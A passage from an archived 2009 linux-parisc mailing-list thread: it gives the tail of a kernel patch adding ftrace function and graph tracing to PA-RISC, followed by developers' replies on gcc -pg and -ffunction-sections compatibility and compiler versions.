+	copy	%ret1, %arg1
+	b	ftrace_return_to_handler
+	nop
+return_trampoline:
+	copy	%ret0, %rp
+	copy	%r23, %ret0
+	copy	%r24, %ret1
+
+.globl ftrace_stub
+ftrace_stub:
+	bv	%r0(%rp)
+	nop
+ENDPROC(return_to_handler)
+#endif	/* CONFIG_FUNCTION_TRACER */
+
+
 get_register:
 	/*
 	 * get_register is used by the non access tlb miss handlers to
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index 0eecfbb..df65366 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -153,5 +153,10 @@ EXPORT_SYMBOL(node_data);
 EXPORT_SYMBOL(pfnnid_map);
 #endif
 
+#ifdef CONFIG_FUNCTION_TRACER
+extern void _mcount(void);
+EXPORT_SYMBOL(_mcount);
+#endif
+
 /* from pacache.S -- needed for copy_page */
 EXPORT_SYMBOL(copy_user_page_asm);
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 9995d7e..8545f2e 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -31,6 +31,7 @@
 #include <linux/err.h>
 #include <linux/delay.h>
 #include <linux/bitops.h>
+#include <linux/ftrace.h>
 
 #include <asm/system.h>
 #include <asm/atomic.h>
@@ -120,7 +121,7 @@ halt_processor(void)
 }
 
 
-irqreturn_t
+irqreturn_t __irq_entry
 ipi_interrupt(int irq, void *dev_id) 
 {
 	int this_cpu = smp_processor_id();
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 9d46c43..badaad9 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -24,6 +24,7 @@
 #include <linux/profile.h>
 #include <linux/clocksource.h>
 #include <linux/platform_device.h>
+#include <linux/ftrace.h>
 
 #include <asm/uaccess.h>
 #include <asm/io.h>
@@ -53,7 +54,7 @@ static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
  * held off for an arbitrarily long period of time by interrupts being
  * disabled, so we may miss one or more ticks.
  */
-irqreturn_t timer_interrupt(int irq, void *dev_id)
+irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 {
 	unsigned long now;
 	unsigned long next_tick;
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index ba658d2..7bf122a 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -494,7 +494,7 @@ void parisc_terminate(char *msg, struct pt_regs *regs, int code, unsigned long o
 	panic(msg);
 }
 
-void handle_interruption(int code, struct pt_regs *regs)
+void notrace handle_interruption(int code, struct pt_regs *regs)
 {
 	unsigned long fault_address = 0;
 	unsigned long fault_space = 0;
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 1a3b6cc..fd2cc4f 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -54,6 +54,8 @@ SECTIONS
 		TEXT_TEXT
 		SCHED_TEXT
 		LOCK_TEXT
+		KPROBES_TEXT
+		IRQENTRY_TEXT
 		*(.text.do_softirq)
 		*(.text.sys_exit)
 		*(.text.do_sigaltstack)
diff -up ./arch/parisc/include/asm/ftrace.h.org ./arch/parisc/include/asm/ftrace.h
--- a/arch/parisc/include/asm/ftrace.h.org	2009-02-08 23:57:16.000000000 +0100
+++ b/arch/parisc/include/asm/ftrace.h	2009-02-08 23:45:39.000000000 +0100
@@ -0,0 +1,25 @@
+#ifndef _ASM_PARISC_FTRACE_H
+#define _ASM_PARISC_FTRACE_H
+
+#ifndef __ASSEMBLY__
+extern void mcount(void);
+
+/*
+ * Stack of return addresses for functions of a thread.
+ * Used in struct thread_info
+ */
+struct ftrace_ret_stack {
+	unsigned long ret;
+	unsigned long func;
+	unsigned long long calltime;
+};
+
+/*
+ * Primary handler of a function return.
+ * It relays on ftrace_return_to_handler.
+ * Defined in entry.S
+ */
+extern void return_to_handler(void);
+#endif /* __ASSEMBLY__ */
+
+#endif /* _ASM_PARISC_FTRACE_H */
diff -up ./arch/parisc/kernel/ftrace.c.org ./arch/parisc/kernel/ftrace.c
--- a/arch/parisc/kernel/ftrace.c.org	2009-02-08 23:57:10.000000000 +0100
+++ b/arch/parisc/kernel/ftrace.c	2009-02-09 00:10:24.000000000 +0100
@@ -0,0 +1,185 @@
+/*
+ * Code for tracing calls in Linux kernel.
+ * Copyright (C) 2009 Helge Deller <deller@gmx.de>
+ *
+ * based on code for x86 which is:
+ * Copyright (C) 2007-2008 Steven Rostedt <srostedt@redhat.com>
+ *
+ * future possible enhancements:
+ * 	- add CONFIG_DYNAMIC_FTRACE
+ *	- add CONFIG_STACK_TRACER
+ */
+
+#include <linux/init.h>
+#include <linux/ftrace.h>
+
+#include <asm/sections.h>
+#include <asm/ftrace.h>
+
+
+
+#ifdef CONFIG_FUNCTION_GRAPH_TRACER
+
+/* Add a function return address to the trace stack on thread info.*/
+static int push_return_trace(unsigned long ret, unsigned long long time,
+				unsigned long func, int *depth)
+{
+	int index;
+
+	if (!current->ret_stack)
+		return -EBUSY;
+
+	/* The return trace stack is full */
+	if (current->curr_ret_stack == FTRACE_RETFUNC_DEPTH - 1) {
+		atomic_inc(&current->trace_overrun);
+		return -EBUSY;
+	}
+
+	index = ++current->curr_ret_stack;
+	barrier();
+	current->ret_stack[index].ret = ret;
+	current->ret_stack[index].func = func;
+	current->ret_stack[index].calltime = time;
+	*depth = index;
+
+	return 0;
+}
+
+/* Retrieve a function return address to the trace stack on thread info.*/
+static void pop_return_trace(struct ftrace_graph_ret *trace, unsigned long *ret)
+{
+	int index;
+
+	index = current->curr_ret_stack;
+
+	if (unlikely(index < 0)) {
+		ftrace_graph_stop();
+		WARN_ON(1);
+		/* Might as well panic, otherwise we have no where to go */
+		*ret = (unsigned long)
+			dereference_function_descriptor(&panic);
+		return;
+	}
+
+	*ret = current->ret_stack[index].ret;
+	trace->func = current->ret_stack[index].func;
+	trace->calltime = current->ret_stack[index].calltime;
+	trace->overrun = atomic_read(&current->trace_overrun);
+	trace->depth = index;
+	barrier();
+	current->curr_ret_stack--;
+
+}
+
+/*
+ * Send the trace to the ring-buffer.
+ * @return the original return address.
+ */
+unsigned long ftrace_return_to_handler(unsigned long retval0,
+				       unsigned long retval1)
+{
+	struct ftrace_graph_ret trace;
+	unsigned long ret;
+
+	pop_return_trace(&trace, &ret);
+	trace.rettime = cpu_clock(raw_smp_processor_id());
+	ftrace_graph_return(&trace);
+
+	if (unlikely(!ret)) {
+		ftrace_graph_stop();
+		WARN_ON(1);
+		/* Might as well panic. What else to do? */
+		ret = (unsigned long)
+			dereference_function_descriptor(&panic);
+	}
+
+	/* HACK: we hand over the old functions' return values
+	   in %r23 and %r24. Assembly in entry.S will take care
+	   and move those to their final registers %ret0 and %ret1 */
+	asm( "copy %0, %%r23 \n\t"
+	     "copy %1, %%r24 \n" : : "r" (retval0), "r" (retval1) );
+
+	return ret;
+}
+
+/*
+ * Hook the return address and push it in the stack of return addrs
+ * in current thread info.
+ */
+void prepare_ftrace_return(unsigned long *parent, unsigned long self_addr)
+{
+	unsigned long old;
+	unsigned long long calltime;
+	struct ftrace_graph_ent trace;
+
+	if (unlikely(atomic_read(&current->tracing_graph_pause)))
+		return;
+
+	old = *parent;
+	*parent = (unsigned long)
+		  dereference_function_descriptor(&return_to_handler);
+
+	if (unlikely(!__kernel_text_address(old))) {
+		ftrace_graph_stop();
+		*parent = old;
+		WARN_ON(1);
+		return;
+	}
+
+	calltime = cpu_clock(raw_smp_processor_id());
+
+	if (push_return_trace(old, calltime,
+				self_addr, &trace.depth) == -EBUSY) {
+		*parent = old;
+		return;
+	}
+
+	trace.func = self_addr;
+
+	/* Only trace if the calling function expects to */
+	if (!ftrace_graph_entry(&trace)) {
+		current->curr_ret_stack--;
+		*parent = old;
+	}
+}
+
+#endif /* CONFIG_FUNCTION_GRAPH_TRACER */
+
+
+void ftrace_function_trampoline(unsigned long parent,
+				unsigned long self_addr,
+				unsigned long org_sp_gr3)
+{
+	extern ftrace_func_t ftrace_trace_function;
+
+	if (function_trace_stop)
+		return;
+
+	if (ftrace_trace_function != ftrace_stub) {
+		ftrace_trace_function(parent, self_addr);
+		return;
+	}
+#ifdef CONFIG_FUNCTION_GRAPH_TRACER
+	if (ftrace_graph_entry && ftrace_graph_return) {
+		unsigned long sp;
+		unsigned long *parent_rp;
+
+                asm volatile ("copy %%r30, %0" : "=r"(sp));
+		/* sanity check: is stack pointer which we got from
+		   assembler function in entry.S in a reasonable
+		   range compared to current stack pointer? */
+		if ((sp - org_sp_gr3) > 0x400)
+			return;
+
+		/* calculate pointer to %rp in stack */
+		parent_rp = (unsigned long *) org_sp_gr3 - 0x10;
+		/* sanity check: parent_rp should hold parent */
+		if (*parent_rp != parent)
+			return;
+		
+		prepare_ftrace_return(parent_rp, self_addr);
+		return;
+	}
+#endif
+}
+

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add ftrace (function and graph tracer) functionality
Date: Mon, 9 Feb 2009 21:10:30 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <20090210021101.2118F4EDA@hiauly1.hia.nrc.ca>
References: <498F6E28.7060209@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234231910 19111 80.91.229.12 (10 Feb 2009 02:11:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Feb 2009 02:11:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 10 03:13:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LWi7O-0006U2-Jf
	for glpp-linux-parisc@gmane.org; Tue, 10 Feb 2009 03:12:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752952AbZBJCLh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Feb 2009 21:11:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753023AbZBJCLh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 9 Feb 2009 21:11:37 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3865 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752952AbZBJCLg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Feb 2009 21:11:36 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 2118F4EDA; Mon,  9 Feb 2009 21:11:00 -0500 (EST)
In-Reply-To: <498F6E28.7060209@gmx.de> from "Helge Deller" at Feb 9, 2009 00:43:36 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1267>

> It will currently only work with 64bit kernels, because the gcc options -pg
> and -ffunction-sections can't be enabled at the same time and -ffunction-sections
> is still needed to be able to link 32bit kernels.

I have done some testing.  As far as I can tell, -pg works with
-ffunction-sections on hppa-unknown-linux-gnu and hppa64-hp-hpux11.
hppa2.0w-hp-hpux11 doesn't support -ffunction-sections.  So, I think
we should propose that the code that disables -ffunction-sections
with -pg be removed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add ftrace (function and graph tracer) functionality
Date: Tue, 10 Feb 2009 10:24:38 +0800
Lines: 33
Approved: news@gmane.org
Message-ID: <4990E566.3020500@tausq.org>
References: <20090210021101.2118F4EDA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234232701 20749 80.91.229.12 (10 Feb 2009 02:25:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Feb 2009 02:25:01 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 10 03:26:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LWiKD-0001o9-Ug
	for glpp-linux-parisc@gmane.org; Tue, 10 Feb 2009 03:26:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750735AbZBJCYv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Feb 2009 21:24:51 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751450AbZBJCYv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 9 Feb 2009 21:24:51 -0500
Original-Received: from yx-out-2324.google.com ([74.125.44.28]:16111 "EHLO
	yx-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750735AbZBJCYv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Feb 2009 21:24:51 -0500
Original-Received: by yx-out-2324.google.com with SMTP id 8so138049yxm.1
        for <linux-parisc@vger.kernel.org>; Mon, 09 Feb 2009 18:24:50 -0800 (PST)
Original-Received: by 10.150.195.21 with SMTP id s21mr485061ybf.16.1234232690140;
        Mon, 09 Feb 2009 18:24:50 -0800 (PST)
Original-Received: from ?192.168.100.76? (ip127.bb146.pacific.net.hk [202.64.146.127])
        by mx.google.com with ESMTPS id k41sm12534727rnd.12.2009.02.09.18.24.48
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 09 Feb 2009 18:24:49 -0800 (PST)
User-Agent: Thunderbird 2.0.0.19 (Windows/20081209)
In-Reply-To: <20090210021101.2118F4EDA@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1268
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1268>

My memory is fuzzy and I had to dig through the archives a bit, but I 
seem to recall that it used to be that -pg will not work WITHOUT 
-ffunction-sections on 32-bit, because the call to _mcount was done 
using b,l. Dave and I fixed this in gcc in 2003 though.

I did find another thread about this here: 
http://gcc.gnu.org/ml/gcc-help/2008-11/msg00128.html

The followup replies from Ian Taylor and Jeff Law concurs with what you 
said below, but it looks like nothing has been done (yet?)

randolph

John David Anglin wrote:
>> It will currently only work with 64bit kernels, because the gcc options -pg
>> and -ffunction-sections can't be enabled at the same time and -ffunction-sections
>> is still needed to be able to link 32bit kernels.
>>     
>
> I have done some testing.  As far as I can tell, -pg works with
> -ffunction-sections on hppa-unknown-linux-gnu and hppa64-hp-hpux11.
> hppa2.0w-hp-hpux11 doesn't support -ffunction-sections.  So, I think
> we should propose that the code that disables -ffunction-sections
> with -pg be removed.
>
> Dave
>   

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add ftrace (function and graph tracer) functionality
Date: Mon, 9 Feb 2009 21:48:21 -0500 (EST)
Lines: 49
Approved: news@gmane.org
Message-ID: <20090210024822.61683505B@hiauly1.hia.nrc.ca>
References: <4990E566.3020500@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234234133 23519 80.91.229.12 (10 Feb 2009 02:48:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Feb 2009 02:48:53 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: randolph@tausq.org (Randolph Chung)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 10 03:50:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LWihK-0006ua-MG
	for glpp-linux-parisc@gmane.org; Tue, 10 Feb 2009 03:50:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751080AbZBJCsZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Feb 2009 21:48:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751642AbZBJCsZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 9 Feb 2009 21:48:25 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4089 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751080AbZBJCsZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Feb 2009 21:48:25 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 61683505B; Mon,  9 Feb 2009 21:48:21 -0500 (EST)
In-Reply-To: <4990E566.3020500@tausq.org> from "Randolph Chung" at Feb 10, 2009 10:24:38 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1269
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1269>

The call to _mcount is done with a standard call pattern that will
generate a long call if necessary.  So, -ffunction-sections isn't
needed for profiling large objects.

There are two cases for the profile counters.  On linux,
NO_DEFERRED_PROFILE_COUNTERS is 1.  glibc allocates the profile counters.
On the other PA targets, the output of the profile counters is deferred
so that we don't have to do any section switching.

Dave

> My memory is fuzzy and I had to dig through the archives a bit, but I 
> seem to recall that it used to be that -pg will not work WITHOUT 
> -ffunction-sections on 32-bit, because the call to _mcount was done 
> using b,l. Dave and I fixed this in gcc in 2003 though.
> 
> I did find another thread about this here: 
> http://gcc.gnu.org/ml/gcc-help/2008-11/msg00128.html
> 
> The followup replies from Ian Taylor and Jeff Law concurs with what you 
> said below, but it looks like nothing has been done (yet?)
> 
> randolph
> 
> John David Anglin wrote:
> >> It will currently only work with 64bit kernels, because the gcc options -pg
> >> and -ffunction-sections can't be enabled at the same time and -ffunction-sections
> >> is still needed to be able to link 32bit kernels.
> >>     
> >
> > I have done some testing.  As far as I can tell, -pg works with
> > -ffunction-sections on hppa-unknown-linux-gnu and hppa64-hp-hpux11.
> > hppa2.0w-hp-hpux11 doesn't support -ffunction-sections.  So, I think
> > we should propose that the code that disables -ffunction-sections
> > with -pg be removed.
> >
> > Dave
> >   
> 


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add ftrace (function and graph tracer) functionality
Date: Tue, 10 Feb 2009 21:56:03 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <4991E9E3.2040404@gmx.de>
References: <20090210021101.2118F4EDA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234299392 4102 80.91.229.12 (10 Feb 2009 20:56:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Feb 2009 20:56:32 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 10 21:57:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LWzfl-0000N8-R4
	for glpp-linux-parisc@gmane.org; Tue, 10 Feb 2009 21:57:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752721AbZBJU4P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 Feb 2009 15:56:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753400AbZBJU4P
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 10 Feb 2009 15:56:15 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:40470 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752721AbZBJU4P (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 Feb 2009 15:56:15 -0500
Original-Received: (qmail invoked by alias); 10 Feb 2009 20:56:11 -0000
Original-Received: from mnhm-590e02d5.pool.einsundeins.de (EHLO halden.box) [89.14.2.213]
  by mail.gmx.net (mp008) with SMTP; 10 Feb 2009 21:56:11 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+2ioByBh+2inId1z8owFdwgVqGmg8Pl8s20cLG5q
	tHNkvMinM1ettW
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <20090210021101.2118F4EDA@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.64
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1270
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1270>

John David Anglin wrote:
>> It will currently only work with 64bit kernels, because the gcc options -pg
>> and -ffunction-sections can't be enabled at the same time and -ffunction-sections
>> is still needed to be able to link 32bit kernels.
> 
> I have done some testing.  As far as I can tell, -pg works with
> -ffunction-sections on hppa-unknown-linux-gnu and hppa64-hp-hpux11.

That's great!
Which gcc version did you tested?
For me, (cross-compiler) hppa-linux-gcc 3.3.4 didn't linked without -ffunction-sections.

> hppa2.0w-hp-hpux11 doesn't support -ffunction-sections.  So, I think
> we should propose that the code that disables -ffunction-sections
> with -pg be removed.

In principle no objections from my side. Nevertheless we really need to make sure.
E.g. we'd need to increase the minimal required compiler version for kernel on 32bit.
Did you tested modules (on 32bit) as well, e.g. the xfs module which had the
relocation problems?

Best regards,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add ftrace (function and graph tracer) functionality
Date: Tue, 10 Feb 2009 21:43:08 -0500 (EST)
Lines: 49
Approved: news@gmane.org
Message-ID: <20090211024309.D97334FA9@hiauly1.hia.nrc.ca>
References: <4991E9E3.2040404@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234320210 2316 80.91.229.12 (11 Feb 2009 02:43:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Feb 2009 02:43:30 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 11 03:44:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LX55g-0000ow-8i
	for glpp-linux-parisc@gmane.org; Wed, 11 Feb 2009 03:44:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752862AbZBKCnW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 Feb 2009 21:43:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752567AbZBKCnW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 10 Feb 2009 21:43:22 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4758 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752862AbZBKCnV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 Feb 2009 21:43:21 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D97334FA9; Tue, 10 Feb 2009 21:43:09 -0500 (EST)
In-Reply-To: <4991E9E3.2040404@gmx.de> from "Helge Deller" at Feb 10, 2009 09:56:03 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1271
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1271>

> John David Anglin wrote:
> >> It will currently only work with 64bit kernels, because the gcc options -pg
> >> and -ffunction-sections can't be enabled at the same time and -ffunction-sections
> >> is still needed to be able to link 32bit kernels.
> > 
> > I have done some testing.  As far as I can tell, -pg works with
> > -ffunction-sections on hppa-unknown-linux-gnu and hppa64-hp-hpux11.
> 
> That's great!
> Which gcc version did you tested?

4.4.0.

> For me, (cross-compiler) hppa-linux-gcc 3.3.4 didn't linked without -ffunction-sections.

There's been quite a few change since 3.3.4.  In principle, -ffunction-sections
shouldn't be needed to compile and link the kernel although it may produce
better code.  Long calls should be generated automatically if a pc-relative
branch can't reach the stub table.  As I said, ld -r is not supposed to merge
.text sections.

If I remember correctly from some previous discussions, 3.3.4 is too
old.  There was a bug in the handling of weak functions affecting kernel
builds.

Currently, the only supported GCC branches are 4.3 and 4.4.  The 4.2
branch will be closed soon and no further releases will be done with
this branch.  4.4 will be forked when the number of P1 bugs reaches
zero.  From my standpoint, it would be best to test with 4.3 or 4.4.
I think the major linux vendors are using 4.3 for their current
releases.

> Did you tested modules (on 32bit) as well, e.g. the xfs module which had the
> relocation problems?

No, I just did a build and check of gcc, and tested a testsuite program
to see that it ran correctly with -pg and -ffunctions-sections (i.e., I
ran gprof using the gmon.out).  I also visually inspected the generated
assembly code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
